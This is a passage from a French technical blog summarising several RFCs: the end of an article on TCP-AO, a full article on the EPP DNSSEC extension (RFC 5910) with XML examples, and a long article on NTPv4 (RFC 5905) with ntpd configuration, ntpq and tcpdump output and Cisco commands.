ouverte. Sans TCP-AO, elle enverra des paquets RST
(ReSeT) lors de la réception des paquets TCP de son
pair, puisque ces paquets ne correspondront à aucune connexion connue,
le souvenir s'étant perdu lors du redémarrage. Cela permettra
d'informer rapidement le pair que la connexion TCP doit être
considérée comme terminée. Avec TCP-AO, ce n'est plus possible : la
machine ayant tout oublié, y compris les clés de session, elle ne peut plus construire des segments
TCP authentifiés. Ses RST seront donc ignorés par le pair, qui devra
donc attendre l'expiration d'un délai de garde pour comprendre que la
connexion TCP est finie (section 9.7 du RFC). C'est dommage mais c'est
fait exprès : empêcher les RST « pirates » était après tout une des
principales motivations pour l'authentification TCP. Notre RFC recommande
donc d'utiliser les
keepalives du RFC 1122 ou bien ceux fournis par les applications utilisés
(keepalives BGP du RFC 4271 ou bien les options ClientAlive*
ou ServerAlive*
de
OpenSSH). Ces solutions ne sont pas parfaites (pour BGP, il est recommandé
d'ajouter le démarrage en douceur du RFC 4724.) Une autre option est d'enregistrer les clés de session sur disque.
Comme vu plus haut, TCP-AO ne protège que TCP, pas les éventuels paquets ICMP qui se glisseraient dans la communication. La recommandation de notre RFC (section 9.8) est donc d'accepter avec prudence et conservatisme les paquets ICMP. Par exemple, les paquets ICMP ayant le type 3 (Destination unreachable et les codes 2 à 4 (protocol unreachable, port unreachable, ...) devraient être ignorés, car ils peuvent casser une connexion TCP-AO, sans avoir eux-même besoin de s'authentifier. La même section demande que ce comportement soit configurable. Cette recommandation est analogue à celle qui s'applique à IPsec (section 6.1.1 du RFC 4301).
Normalement, la spécification du protocole devrait s'arrêter là. Mais, dans le monde réel, il faut aussi tenir compte des engins intermédiaires (middleboxes, RFC 3234) qui examinent les paquets et se permettent de les rejeter ou de les modifier s'ils ne correspondent pas à leurs préjugés. La section 11 couvre les interactions avec ces engins (certains routeurs, les pare-feux, etc). Si la middlebox ne modifie pas les adresses IP, TCP-AO devrait passer sans problème. Si elle change certaines options TCP, il faut configurer TCP-AO pour ignorer les options dans le calcul de la MAC, ce qui affaiblit la sécurité (puisqu'un attaquant pourrait en faire autant, par exemple en supprimant le window scaling ce qui empêcherait le fonctionnement normal de TCP).
Mais si la middlebox change les adresses IP, ce qui est le cas des routeurs NAT (section 11.2), TCP-AO ne peut plus fonctionner du tout. Les seules solutions sont d'encapsuler le flux TCP ou de compter sur l'extension NAT du RFC 6978.
Et les implémentations ? À l'heure actuelle, rien dans Linux (il y a un projet), FreeBSD ou NetBSD. Et je ne connaissais pas non plus de mise en œuvre pour les routeurs Cisco ou Juniper, sans doute en partie en raison des innombrables brevets qui infestent le secteur informatique. Fin 2011, lorsque la question avait été étudiée à l'IETF pour un autre protocole, la conclusion avait été qu'AO restait toujours uniquement sur le papier, hélas. Depuis, il semble (2017) que Juniper ait une mise en œuvre d'AO. Vous trouverez davantage d'informations concrètes sur ce dépôt GitHub.
Date de publication du RFC : Mai 2010
Auteur(s) du RFC : J. Gould (Verisign), S. Hollenbeck (Verisign)
Chemin des normes
Première rédaction de cet article le 12 mai 2010
Le protocole EPP d'avitaillement d'un registre (par exemple un registre de noms de domaine), normalisé dans le RFC 5730, manipule des objets qui sont des instances d'une classe (nommée mapping). Par exemple, il existe une classe (un mapping) pour les noms de domaine, décrite dans le RFC 5731. Notre RFC 5910 décrit, lui, une extension EPP à ce mapping permettant de spécifier les données nécessaires à DNSSEC, notamment la clé publique d'une zone signée. Il remplace le RFC 4310 et les changements sont assez sérieux.
DNSSEC, normalisé dans le RFC 4033, utilise la même délégation que le DNS. La zone parente d'une zone signée délègue en indiquant la clé publique de sa zone fille. Plus exactement, la zone parente publie un condensat cryptographique de la clé publique de la zone fille, l'enregistrement DS (pour Delegation Signer), normalisé dans la section 5 du RFC 4034 (voir aussi le rappel en section 3.1 de notre RFC 5910).
Lorsqu'un bureau d'enregistrement crée un nom de domaine signé, ou bien informe le registre qu'un domaine est désormais signé, comment indique t-il ce DS ? Il y a plusieurs façons, et notre RFC propose d'utiliser EPP.
L'extension nécessaire est résumée en section 3. Elle fonctionne en ajoutant des éléments à la classe Domaine du RFC 5731. La clé peut être transmise directement, ou bien on peut envoyer le condensat cryptographique de la clé (le RFC 6781 explique pourquoi le condensat, le futur DS, devrait être obligatoire alors que la clé serait facultative, mais notre RFC ne le suis pas complètement, contrairement à son prédécesseur). Les deux méthodes, selon qu'on transmet le condensat ou la clé, sont détaillées dans la section 4. Voici un exemple d'une clé transmise sous forme d'un condensat :
<secDNS:dsData> <secDNS:keyTag>12345</secDNS:keyTag> <secDNS:alg>3</secDNS:alg> <secDNS:digestType>1</secDNS:digestType> <secDNS:digest>49FD46E6C4B45C55D4AC</secDNS:digest> </secDNS:dsData>
Le RFC prévoit également que le registre de la zone parente peut également récupérer la clé dans le DNS (enregistrement DNSKEY) pour tester si le condensat reçu est correct (et il est donc recommandé que ladite DNSKEY soit publiée avant de prévenir le parent par EPP). La clé transmise au registre doit être une clé de confiance, c'est-à-dire avoir le bit SEP à 1 (cf. RFC 3757). En terminologie moderne, cette clé doit être une KSK (Key Signing Key).
Les commandes EPP pour gérer cette information font l'objet de la
section 5. Ainsi, les réponses à <info>
doivent désormais contenir un élément
<secDNS:infData>
, qui contient lui-même des
éléments comme <secDNS:dsData>
qui a son
tour contient les champs qu'on trouve dans un enregistrement DS comme
<secDNS:keyTag>
(un pseudo-identificateur de la
clé), <secDNS:alg>
(l'algorithme utilisé),
etc. L'espace de noms
urn:ietf:params:xml:ns:secDNS-1.1
(ici avec le
préfixe secDNS
) est enregistré dans le registre
IANA (voir section 8). (Le nom utilisé dans le RFC 4310 était secDNS-1.0
.)
Voici un exemple de réponse à
<info>
sur le domaine
example.com
:
<resData> ... <domain:name>example.com</domain:name> ... <extension> <secDNS:infData xmlns:secDNS="urn:ietf:params:xml:ns:secDNS-1.1"> <secDNS:dsData> <secDNS:keyTag>12345</secDNS:keyTag> <secDNS:alg>3</secDNS:alg> <secDNS:digestType>1</secDNS:digestType> <secDNS:digest>49FD46E6C4B45C55D4AC</secDNS:digest> </secDNS:dsData> </secDNS:infData> </extension>
Le condensat est de type SHA1
(<digestType>1</digestType>
), la clé
elle-même étant DSA/SHA1
(<alg>3</alg>
).
L'extension DNSSEC permet évidemment de créer un domaine signé, avec <create>
(section 3.2.1) :
<domain:create> <domain:name>example.com</domain:name> ... <extension> <secDNS:create xmlns:secDNS="urn:ietf:params:xml:ns:secDNS-1.1"> <secDNS:dsData> <secDNS:keyTag>12345</secDNS:keyTag> <secDNS:alg>3</secDNS:alg> <secDNS:digestType>1</secDNS:digestType> <secDNS:digest>49FD46E6C4B45C55D4AC</secDNS:digest> <!-- <secDNS:keyData>, la clé elle-même, est *facultatif* --> </secDNS:dsData> </secDNS:create> ...
Une fois le domaine ainsi créé, le registre publiera typiquement un enregistrement DS comme :
example.com. IN DS 12345 3 1 49FD46E6C4B45C55D4AC
Bien sûr, on peut aussi ajouter DNSSEC à un domaine existant, ou
bien changer une clé existante. Cela se fait avec
<update>
:
<domain:update> <domain:name>example.com</domain:name> ... <extension> <secDNS:update xmlns:secDNS="urn:ietf:params:xml:ns:secDNS-1.1"> <secDNS:add> <secDNS:dsData> <secDNS:keyTag>12346</secDNS:keyTag> <secDNS:alg>3</secDNS:alg> <secDNS:digestType>1</secDNS:digestType> <secDNS:digest>38EC35D5B3A34B44C39B</secDNS:digest> <!-- <secDNS:keyData>, la clé elle-même, est *facultatif* --> </secDNS:dsData> </secDNS:add> </secDNS:update> ...
Et, en utilisant <secDNS:rem>
au
lieu de <secDNS:add>
, on peut retirer une
délégation sécurisée (« dé-signer » le domaine).
Comme la grande majorité des extensions et mappings d'EPP, celle-ci est spécifiée en utilisant la syntaxe formelle des W3C schemas, ici en section 4.
Le premier RFC sur cette extension EPP était le RFC 4310. Les sections 2 et 4 sont entièrement nouvelles. La première décrit les mécanismes de migration pour ceux qui avaient déjà déployé le précedent RFC. La section 4 décrit la nouvelle interface pour les clés. Le nouveau RFC était nécessaire en raison d'une bogue dans le précédent : lors de la suppression d'une délégation signée, le RFC 4310 disait (dans sa section 3.2.5) que la délégation pouvait être indiquée par le key tag (section 5.1.1 du RFC 4034) or celui-ci, un simple condensat cryptographique de la clé, n'est pas forcément unique, vue sa faible taille. La section 5.2.5 contient le nouveau texte. Parmi les autres changements, l'introduction du concept de data interface (section 4), qui unifie la façon de passer les clés (ou leurs condensats) du client EPP au serveur. Il y a enfin quelques changements moins cruciaux, décrits dans l'annexe A.
À noter que la mise en œuvre EPP du registre brésilien inclus désormais notre RFC 5910 : http://registro.br/epp/download-EN.html
.
Date de publication du RFC : Juin 2010
Auteur(s) du RFC : J. Burbank, W. Kasch
(JHU/APL), J. Martin (ISC), D. Mills (U. Delaware)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF ntp
Première rédaction de cet article le 22 juin 2010
Dans tout système technique complexe, comme l'Internet, on a besoin d'horloges correctes. À tout moment, on lit l'heure et on en tient compte. Par exemple, l'ingénieur système qui lit les journaux d'un serveur a besoin d'être sûr de l'heure qu'ils indiquent. De même, le chercheur qui mesure le temps de propogation d'un paquet IP entre deux machines en soustrayant le temps de départ de celui d'arrivée (cf. RFC 7679) doit être sûr des horloges des deux machines, sinon la mesure sera fausse. Pour synchroniser des horloges, on pourrait munir chaque ordinateur connecté à Internet d'un récepteur GPS ou équivalent (le système Galileo, absent du RFC 1305 fait son entrée dans notre RFC 5905). Mais de tels récepteurs sont relativement chers (surtout pour les engins les moins puissants comme les PC bas de gamme ou les téléphones portables) et ne marchent pas dans toutes les circonstances (le GPS ne fonctionne bien qu'en plein air). Le mécanisme privilégié sur l'Internet est donc que seules certaines machines sont connectées à une horloge physique correcte et que les autres d'ajustent sur celles-ci, par le biais du protocole NTP, objet de ce RFC.
A priori, synchroniser une machine C sur une autre, nommée S, est simple : C demande l'heure à S et S lui donne. C'est ainsi que fonctionnait le protocole Time du RFC 868. Mais ce mécanisme a un gros défaut : il ne tient pas compte du temps de propagation dans le réseau. Lorsque C reçoit la réponse, elle n'est déjà plus correcte... La résolution d'horloge qu'on peut obtenir est donc limitée par ce temps de propagation. En outre, les algorithmes tels que celui du RFC 868 ne permettent pas de tirer profit de multiples serveurs de temps puisqu'ils ne fournissent aucun moyen de décider quel est le « meilleur » serveur.
Pour expliquer la synchronisation d'horloge, tout un vocabulaire
spécifique est nécessaire. Il n'y a pas de glossaire
dans le RFC mais des mots comme delay et offset sont définis en section
4 : pour résumer, une horloge peut avoir
un écart (offset) avec le
« vrai » temps, UTC (ou bien avec une autre
horloge, si on s'intéresse juste au fait qu'elles soient
synchronisées, ce qui n'est pas le cas de NTP). Si cet écart est
inférieur à une certaine valeur, on dit que l'horloge est
correcte (accurate). Et
l'horloge peut avoir un décalage
(skew), elle peut avancer plus ou moins vite qu'une autre
(ce qui entrainera l'apparition ou l'aggravation d'un écart). Pire, la
dérive peut être variable, auquel cas on mesure la dérivée seconde du
décalage sous le nom de dérive
(drift, mais NTP ignore ce facteur). Enfin, l'horloge a une certaine
résolution (precision), la
plus petite unité de temps qu'elle peut mesurer.
Des problèmes de mesure de temps analogues sont présents dans bien
d'autres RFC notamment le RFC 2330 mais aussi
les RFC 4656 ou RFC 5481. Pour obtenir le temps d'un
autre serveur, alors que le délai de propagation est non-nul, NTP
utilise des estampilles temporelles, des valeurs
de la mesure de l'horloge, mises dans le paquet. Après plusieurs
paquets échangés, chaque serveur NTP connait le délai de propagation
avec un autre serveur (ainsi que, au bout d'un temps un peu plus long,
la gigue, la variation de ce délai, suite aux
hoquets du réseau) et peut donc déduire ce délai des temps mesurés par
son pair. Sur une machine Unix, voyons ce que cela donne avec la commande ntpq -c peers
:
% ntpq -c peers remote refid st t when poll reach delay offset jitter ============================================================================== +relay1.nic.fr 192.134.4.11 3 u 998 1024 377 0.297 -1.554 0.163 gw.prod-ext.pri .INIT. 16 u - 1024 0 0.000 0.000 0.000 +obelix.gegeweb. 145.238.203.10 3 u 695 1024 377 5.226 0.586 1.768 -ntp.univ-poitie 224.22.30.230 3 u 498 1024 377 6.885 -4.565 0.267 *ns1.azuria.net 193.67.79.202 2 u 56 1024 377 2.739 -1.411 0.305 -rps.samk.be 193.190.198.10 3 u 984 1024 377 5.293 5.930 0.317
Lorsque plusieurs serveurs NTP sont accessibles, NTP sélectionne le meilleur (en tenant compte de divers paramètres comme justement la gigue). Il n'y a pas de vote entre serveurs, NTP est une dictature où le meilleur serveur a toujours raison. NTP a également un mécanisme anti-byzantin (sections 5 et 11.2.1), qui permet d'écarter les serveurs clairement en tort (les falsetickers) et de ne retenir que ceux dont les données sont correctes (les truechimers).
La première version de NTP était dans le RFC 958. La version 2 était décrite dans le RFC 1119 et la version 3 dans le RFC 1305. Les différences (aucune n'est essentielle) entre les deux versions sont décrites dans la section 1. La version 4 a surtout introduit :
Ces changements n'affectent pas l'interopérabilité et un client NTP v3 peut parler à un serveur v4 et réciproquement.
NTP n'était pas le premier protocole de
synchronisation d'horloge, loin de là. Il a été précédé par
daytime (RFC 867) ou
time
(RFC 868), ainsi que par des options
d'ICMP comme celle du RFC 781. Il y a
également eu des mises en œuvre non normalisées comme le
démon timed
sur Berkeley
Unix. NTP a aussi été inspiré par le protocole DTS, partie
du système DCE mais, contrairement à DTS, il n'impose
pas que toutes les machines participantes dépendent du même
administrateur. Enfin, il y a eu d'innombrables projets de recherche
sur des thèmes bien plus ambitieux comme la détermination de la
justesse ou de la fausseté d'une horloge, problèmes que NTP n'essaie
pas de traiter.
Le problème de la synchronisation d'horloges est très complexe et plein de détails difficiles. Le RFC 5905 est donc un des plus gros RFC qui soit (plus de cent pages et, pourtant, les annexes passionnantes que comportait le RFC 1305 ont presque toutes été retirées). En outre, l'abondance des formules mathématiques, rares dans les RFC mais nécessaires ici à cause des calculs d'erreur, fait que notre RFC n'est pas très lisible en texte brut. Le lecteur a sans doute intérêt à lire plutôt l'article de David Mills (l'auteur du RFC), Network Time Protocol Version 4 Reference and Implementation Guide ou son livre, Computer Network Time Synchronization (la seconde édition est prévue pour septembre 2010). Autrement, la page Web dudit auteur, propose plein d'informations sur NTP. À noter que le prédécesseur de notre RFC, le RFC 1305 contenait davantage d'informations de nature historique et reste donc une lecture intéressante. Enfin, une lecture classique mais toujours recommandée est la note Hewlett-Packard « The Science of Timekeeping ».
Quel est le modèle de NTP ? Ce protocole considère que certaines machines ont l'information correcte (par exemple parce qu'elles l'ont obtenu d'une horloge sûre) et que le seul problème est de transmettre cette information aux autres machines. NTP ne s'essaie pas à déterminer si les serveurs ont raison ou tort, il leur fait confiance, il n'existe pas de système de vote, NTP n'est pas une démocratie. Certaines machines ont raison et les autres s'alignent.
Communiquant avec un serveur, un client NTP détermine l'écart (clock offset) avec ce serveur, le RTT (roundtrip delay) et la dispersion, qui est l'écart maximal avec l'autre horloge.
Pour cette communication, il existe plusieurs mécanismes (section 2), le plus courant étant un mécanisme client/serveur où le client NTP demande au serveur le temps. Celui-ci répond et l'information contenue dans le paquet permettra au client de déterminer les valeurs ci-dessus, notamment l'écart. En fait, NTP est plus compliqué que cela car il existe plusieurs niveaux de serveurs et chaque client utilise plusieurs serveurs, pour se prémunir contre une panne. La proximité d'un serveur avec une « vraie » horloge est mesurée par un nombre, la strate (section 3), qui vaut 1 lorsque le serveur est directement connecté à l'horloge et N+1 lorsque le serveur est coordonné avec un serveur de strate N.
Le serveur calcule ensuite (par une variante de l'algorithme de Bellman-Ford), le chemin le plus court (en utilisant comme métrique le nombre d'étapes et la strate), et c'est par celui-ci que sera transmise la valeur correcte de l'horloge (je le répète, NTP ne fait pas de pondération entre les serveurs possibles).
Les sections 6 et 7 décrivent le format des paquets. La plus importante information transportée par NTP est évidemment le temps. NTP utilise trois formats pour le temps (cf. figure 3), le plus courant étant un doublet de 64 bits. La première partie du doublet est un nombre sur 32 bits qui indique le nombre entier de secondes depuis le 1er janvier 1900. La seconde est la partie fractionnaire de cette même valeur. Cela assure donc une précision d'environ 200 picosecondes. Comme tout le fonctionnement de NTP dépend de la précision de ces estampilles temporelles, le RFC recommande que leur écriture dans les paquets soit, autant que possible, fait dans les couches les plus basses, par exemple juste au-dessus du pilote de la carte réseau.
32 bits n'est pas énorme et la valeur maximale sera atteinte en 2036. Les programmes devront donc s'adapter et faire preuve d'intelligence en considérant qu'un nombre de secondes très faible signifie « un peu après 2036 » et pas « un peu après 1900 ». (Ou alors, il faudra passer au nouveau format sur 128 bits, apparu avec NTP v4, où on a 584 milliards d'années de marge.) Plus drôle, comme la valeur zéro est spéciale (elle signifie que le temps n'est pas connu), pendant 200 picosecondes, au moment de la transition, NTP ne marchera plus.
Pour son bon fonctionnement, NTP dépend de certaines variables, décrites en section 7.3. Il y a par exemple l'adresse IP du pair mais aussi :
L'identifiant du type d'horloge est indiqué dans la sortie de
ntpq -c peers
si le pair est de strate 1, ou bien
par la commande ntptrace
sous le nom
de refid
. Par exemple, ici,
clock.xmission.com
est synchronisé au GPS :
% ntptrace localhost: stratum 3, offset 0.000175, synch distance 0.072555 tock.slicehost.net: stratum 2, offset 0.000658, synch distance 0.057252 clock.xmission.com: stratum 1, offset 0.000010, synch distance 0.000274, refid 'GPS'
NTP peut fonctionner selon plusieurs modes, en
pair-à-pair (« symmetric »), en client ou en serveur
mais aussi en mode diffusion (un serveur qui
envoie ses données que quelqu'un écoute ou pas). Ainsi, avec le
programme ntpd (voir http://support.ntp.org/
) d'Unix, si on
configure dans /etc/ntp.conf
:
broadcast 224.0.0.1
(où l'adresse est celle de diffusion) ntpd va diffuser ses informations à tout le réseau local. Si on met :
broadcastclient
il écoutera passivement les annonces des serveurs qui diffusent. Si enfin, on écrit :
server ntp1.example.net server ntp2.example.net
il cherchera activement à se connecter aux serveurs
ntp1.example.net
et
ntp2.example.net
pour obtenir d'eux des
informations sur l'heure qu'il est. Les deux serveurs établiront alors
une association entre eux.
NTP peut se défendre contre un pair qui enverrait des informations aberrantes mais il ne contient pas de système de vote qui pourrait protéger contre des pairs malveillants. Même avec un tel système, si tous les pairs participaient d'un commun accord à l'attaque, NTP serait alors trompé. Il faut donc s'assurer que les pairs sont bien ceux qu'on croit. Il existe un mécanisme d'authentification fondée sur une MAC, mais NTPv4 permet aussi l'ajout de mécanismes supplémentaires comme celui du RFC 5906. En pratique, cette sécurité est peu pratiquée ; bien que fausser l'horloge d'une machine puisse avoir de sérieuses conséquences pour la sécurité (journaux avec une heure fausse, par exemple), les attaques sur NTP semblent rares. La principale protection reste le filtrage au niveau du pare-feu.
La section 10 décrit les algorithmes de correction qui permettent de réparer dans une certaine mesure les erreurs des horloges, ou bien celles introduites par la propagation dans le réseau. NTP peut aussi bien filtrer les mesures d'une horloge donnée (en ne gardant que les meilleures) que garder les bonnes horloges parmi l'ensemble des pairs accessibles. C'est une des parties les plus mathématiques du RFC.
Les paquets NTP sont transportés sur UDP, port 123. Chaque message indique la version de NTP, le mode de l'émetteur (par exemple client, serveur ou autre), les différentes estampilles temporelles (heure de réception du paquet précédent Receive Timestamp, heure d'émission de celui-ci Transmit Timestamp, etc), précision de l'horloge locale, etc. Les estampilles temporelles sont indiquées dans le format à 64 bits décrit plus haut. Du fait que chaque paquet contienne toutes les estampilles nécessaires, les paquets sont auto-suffisants. Il n'est pas nécessaire qu'ils arrivent dans l'ordre, ni qu'ils soient tous délivrés (d'où le choix d'UDP comme protocole de transport).
Pour observer NTP en action, on peut utiliser tcpdump :
# tcpdump -vvv udp and port 123 tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes 17:11:46.950459 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 76) munzer.bortzmeyer.org.ntp > tock.slicehost.net.ntp: [udp sum ok] NTPv4, length 48 Client, Leap indicator: (0), Stratum 3, poll 10s, precision -20 Root Delay: 0.037567, Root dispersion: 0.082321, Reference-ID: tock.slicehost.net Reference Timestamp: 3448017458.952901899 (2009/04/06 16:37:38) Originator Timestamp: 3448018483.951783001 (2009/04/06 16:54:43) Receive Timestamp: 3448018483.951863646 (2009/04/06 16:54:43) Transmit Timestamp: 3448019506.950407564 (2009/04/06 17:11:46) Originator - Receive Timestamp: +0.000080633 Originator - Transmit Timestamp: +1022.998624563 17:11:46.950946 IP (tos 0x10, ttl 63, id 0, offset 0, flags [DF], proto UDP (17), length 76) tock.slicehost.net.ntp > munzer.bortzmeyer.org.ntp: [udp sum ok] NTPv4, length 48 Server, Leap indicator: (0), Stratum 2, poll 10s, precision -20 Root Delay: 0.036941, Root dispersion: 0.012893, Reference-ID: clock.xmission.com Reference Timestamp: 3448019415.234667003 (2009/04/06 17:10:15) Originator Timestamp: 3448019506.950407564 (2009/04/06 17:11:46) Receive Timestamp: 3448019506.951188027 (2009/04/06 17:11:46) Transmit Timestamp: 3448019506.951214015 (2009/04/06 17:11:46) Originator - Receive Timestamp: +0.000780425 Originator - Transmit Timestamp: +0.000806425
On voit ici que munzer.bortzmeyer.org
, machine
chez Slicehost a contacté le
serveur de temps, tock.slicehost.net
(le second
serveur NTP de cet hébergeur se nomme
tick.slicehost.net
) en indiquant que le paquet
était émis (Transmit Timestamp à
3448019506.950407564 (soit le six avril 2009 vers
17:11:46). tock.slicehost.net
répond, renvoie
cette estampille dans le champ Originator
Timestamp, indique qu'il l'a reçue à 3448019506.951188027,
soit 780 microsecondes plus tard et qu'il a répondu à
3448019506.951214015, 26 microsecondes après la réception. munzer.bortzmeyer.org
, en
regardant à quelle heure il a reçu le paquet, peut en déduire le
délai d'acheminement et le décalage des deux horloges. Si le serveur venait de démarrer, toutes les estampilles sont à zéro, sauf celle de transmission :
22:39:26.203121 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 76) munzer.bortzmeyer.org.ntp > tick.slicehost.net.ntp: [udp sum ok] NTPv4, length 48 Client, Leap indicator: clock unsynchronized (192), Stratum 0, poll 6s, precision -20 Root Delay: 0.000000, Root dispersion: 0.000000, Reference-ID: (unspec) Reference Timestamp: 0.000000000 Originator Timestamp: 0.000000000 Receive Timestamp: 0.000000000 Transmit Timestamp: 3448384766.203066617 (2009/04/10 22:39:26) Originator - Receive Timestamp: 0.000000000 Originator - Transmit Timestamp: 3448384766.203066617 (2009/04/10 22:39:26)
L'annexe A plaira aux programmeurs car elle est la seule partie qui contient du code source, en C, mettant en œuvre certains des algorithmes décrits dans le RFC.
La mise en œuvre la plus courante de NTP, sur Unix, est celle
du serveur ntpd
, en http://www.ntp.org/
, qui ne semble pas
encore avoir été mise à jour pour notre RFC 5905. Il se configure
dans le fichier /etc/ntp.conf
et la documentation
complète figure en ligne sur http://doc.ntp.org/
. La commande ntpdate
permet une mise à jour sommaire, sans faire tourner de serveur :
# ntpdate pool.ntp.org 23 Feb 01:34:10 ntpdate[3335]: step time server 192.83.249.31 offset 2.155783 sec
Mais pour une meilleure précision, il faut un serveur tournant en
permanence (autrement, il existe une version simplifiée de NTP,
SNTP,
décrite originellement dans le RFC 4330 et désormais dans la
section 14 de notre RFC, ce protocole simplifié se distingue également
par le
fait que le client n'a pas besoin de gérer plusieurs serveurs). Voici par exemple une station de
travail ordinaire, synchronisée au serveur NTP de son réseau,
ntp.example.org
:
server ntp.example.org server 127.127.1.0 fudge 127.127.1.0 stratum 13
Les deux dernières lignes sont là pour dire à ntpd que l'horloge locale est raisonnablement stable et qu'on peut la considérer comme de strate 13. Comme on ne veut pas forcément que tout l'Internet aille ensuite noyer cette machine sous le trafic NTP et, pire, changer son horloge, on restreint souvent les possibilités de NTP à certaines actions. Par exemple :
# Exchange time with everybody, but don't allow configuration. restrict default kod notrap nomodify nopeer noquery # Local users may interrogate the ntp server more closely. restrict 127.0.0.1 nomodify
Une fois cette machine synchronisée, les commandes
ntpq
et
ntptrace
permettront de regarder
l'état de NTP :
% ntptrace localhost: stratum 3, offset 0.000116, synch distance 0.015000 fuzzer.example.org: stratum 2, offset 0.000149, synch distance 0.009868 192.0.2.77: timed out, nothing received ***Request timed out
Ici, le serveur de strate 1, 192.0.2.77
n'accepte pas des interrogation directes
de la part des stations, il ne répond donc pas à ntptrace
.
On peut avoir plus de détails sur les pairs avec
ntpq
, par exemple :
ntpq> peers remote refid st t when poll reach delay offset jitter ============================================================================== *fuzzer.ex 192.0.2.176 2 u 50 64 377 0.304 0.107 0.064 LOCAL(0) .LOCL. 13 l 1 64 377 0.000 0.000 0.001 ntpq> clocklist assID=0 status=0000 clk_okay, last_clk_okay, device="Undisciplined local clock", timecode=, poll=33834, noreply=0, badformat=0, baddata=0, fudgetime1=0.000, stratum=13, refid=76.79.67.76, flags=0
qui permet de voir le délai de la communication avec le serveur de strate 2 (ce délai est logiquement de zéro avec l'horloge locale, de strate 13). On peut aussi voir qu'il y a eu association :
ntpq> associations ind assID status conf reach auth condition last_event cnt =========================================================== 1 16199 9614 yes yes none sys.peer reachable 1 2 16200 9014 yes yes none reject reachable 1 ntpq> pstatus 16199 assID=16199 status=9614 reach, conf, sel_sys.peer, 1 event, event_reach, srcadr=fuzzer.example.org, srcport=123, dstadr=192.0.2.1, dstport=123, leap=00, stratum=2, precision=-20, rootdelay=1.999, rootdispersion=7.858, refid=192.0.2.176, reach=377, unreach=0, hmode=3, pmode=4, hpoll=6, ppoll=6, flash=00 ok, keyid=0, ttl=0, offset=0.116, delay=0.305, dispersion=3.077, jitter=0.015, reftime=cd848978.4d74dea3 Mon, Apr 6 2009 16:00:24.302, org=cd848a03.2ce4faea Mon, Apr 6 2009 16:02:43.175, rec=cd848a03.2ce6b9ee Mon, Apr 6 2009 16:02:43.175, xmt=cd848a03.2cd129e9 Mon, Apr 6 2009 16:02:43.175, filtdelay= 0.31 0.32 0.32 0.32 0.32 0.31 0.37 0.34, filtoffset= 0.13 0.13 0.13 0.13 0.13 0.12 0.15 0.12, filtdisp= 0.00 0.99 1.94 2.93 3.90 4.88 5.85 6.80
Ici, il n'y avait qu'une seule vraie association, de numéro 16199, avec le serveur NTP de strate 2.
Et sur un routeur Cisco ? Configurer NTP en client est simplement :
Router#config terminal Enter configuration commands, one per line. End with CNTL/Z. Router(config)#ntp server 129.237.32.2 Router(config)#^Z
Le configurer en serveur pour d'autres machines, ici en strate 10 par défaut :
Router#config terminal Enter configuration commands, one per line. End with CNTL/Z. Router(config)#ntp master 10 Router(config)#^Z
On peut alors vérifier l'état de NTP :
Router#show ntp status Clock is synchronized, stratum 3, reference is 128.249.2.2 nominal freq is 250.0000 Hz, actual freq is 249.9961 Hz, precision is 2**16 reference time is BF454660.7CCA9683 (22:37:36.487 EDT Sat Sep 8 2001) clock offset is 4.3323 msec, root delay is 136.28 msec root dispersion is 37.69 msec, peer dispersion is 1.14 msec Router#show ntp associations address ref clock st when poll reach delay offset disp *~128.249.2.2 192.5.41.40 2 4 64 377 76.9 5.49 0.4 -~130.218.100.5 198.72.72.10 3 33 128 377 7.1 13.13 0.6 +~129.237.32.2 192.43.244.18 2 16 64 377 44.8 3.05 0.9 +~128.118.25.3 128.118.25.12 2 48 64 377 39.7 5.50 1.4 * master (synced), # master (unsynced), + selected, - candidate, ~ configured
Tout le monde n'a pas forcément un serveur NTP chez lui, ni un
fournisseur qui lui en procure un de qualité. Il est donc pratique de
faire appel à des serveurs publics. Pour cela, le projet
pool.ntp.org
enregistre dans le DNS l'adresse IP des volontaires qui participent au
service ntp.pool.org
(il ne semble pas que ces
serveurs soient déjà passés en NTP v4). Il suffit au client de
mettre dans sa configuration :
server pool.ntp.org server pool.ntp.org server pool.ntp.org server pool.ntp.org
pour se synchroniser à quatre serveurs, pris au hasard parmi les volontaires. Notez bien que le fait de répéter la même ligne quatre fois n'est pas une erreur. Chacune de ces lignes va déclencher une requête DNS qui donnera à chaque fois une liste d'adresses IP dans un ordre différent :
% dig +short A pool.ntp.org 91.208.102.2 195.83.66.158 81.19.16.225 87.98.147.31 88.191.77.246 % dig +short A pool.ntp.org 88.191.77.246 91.208.102.2 195.83.66.158 81.19.16.225 87.98.147.31 % dig +short A pool.ntp.org 87.98.147.31 88.191.77.246 91.208.102.2 195.83.66.158 81.19.16.225
Pour être sûr d'avoir des adresses différentes, il suffit de préfixer les noms par un chiffre :
server 1.pool.ntp.org server 2.pool.ntp.org server 3.pool.ntp.org server 4.pool.ntp.org
Vu avec ntpq
, on pourra avoir, par exemple :
% ntpq ntpq> peers remote refid st t when poll reach delay offset jitter ============================================================================== ks34176.kimsufi 193.52.184.106 2 u 25d 1024 0 1.116 -4.039 0.000 *ns1.azuria.net 193.67.79.202 2 u 116 256 377 1.412 -1.931 0.647 +mail1.vetienne. 129.240.64.3 3 u 208 256 377 1.657 -18.063 3.348 +ntp1.adviseo.ne 209.81.9.7 2 u 114 256 377 1.001 -3.440 1.622 ntpq>
où des machines d'hébergeurs très différents sont utilisées, NTP
choisissant le meilleur (atteignable, proche, faible gigue, etc).
Bien sûr, pool.ntp.org
n'offre aucune sécurité,
puisque rien ne dit qu'un méchant ne s'est pas glissé dans le lot dans
le but de perturber vos horloges. Mais c'est un service gratuit,
fourni par la communauté et
globalement de très bonne qualité. À noter que ceux qui réalisent un système d'exploitation peuvent demander un sous-domaine, pour y mettre par défaut leur machine. C'est ce que fait, par exemple, Debian et une machine Debian sera configurée par défaut avec quelque chose du genre :
server 0.debian.pool.ntp.org server 1.debian.pool.ntp.org server 2.debian.pool.ntp.org server 3.debian.pool.ntp.org
NTP a nécessité la création de trois registres à l'IANA (section 16) dont :
Sinon, une bonne lecture sur NTP et ses algorithmes est le « How Does NTP Work? », de Kevin Sookocheff.
Date de publication du RFC : Juillet 2010
Auteur(s) du RFC : D. Taler (Microsoft), L. Zhang (UCLA), G. Lebovitz (Juniper)
Pour information
Première rédaction de cet article le 17 juillet 2010
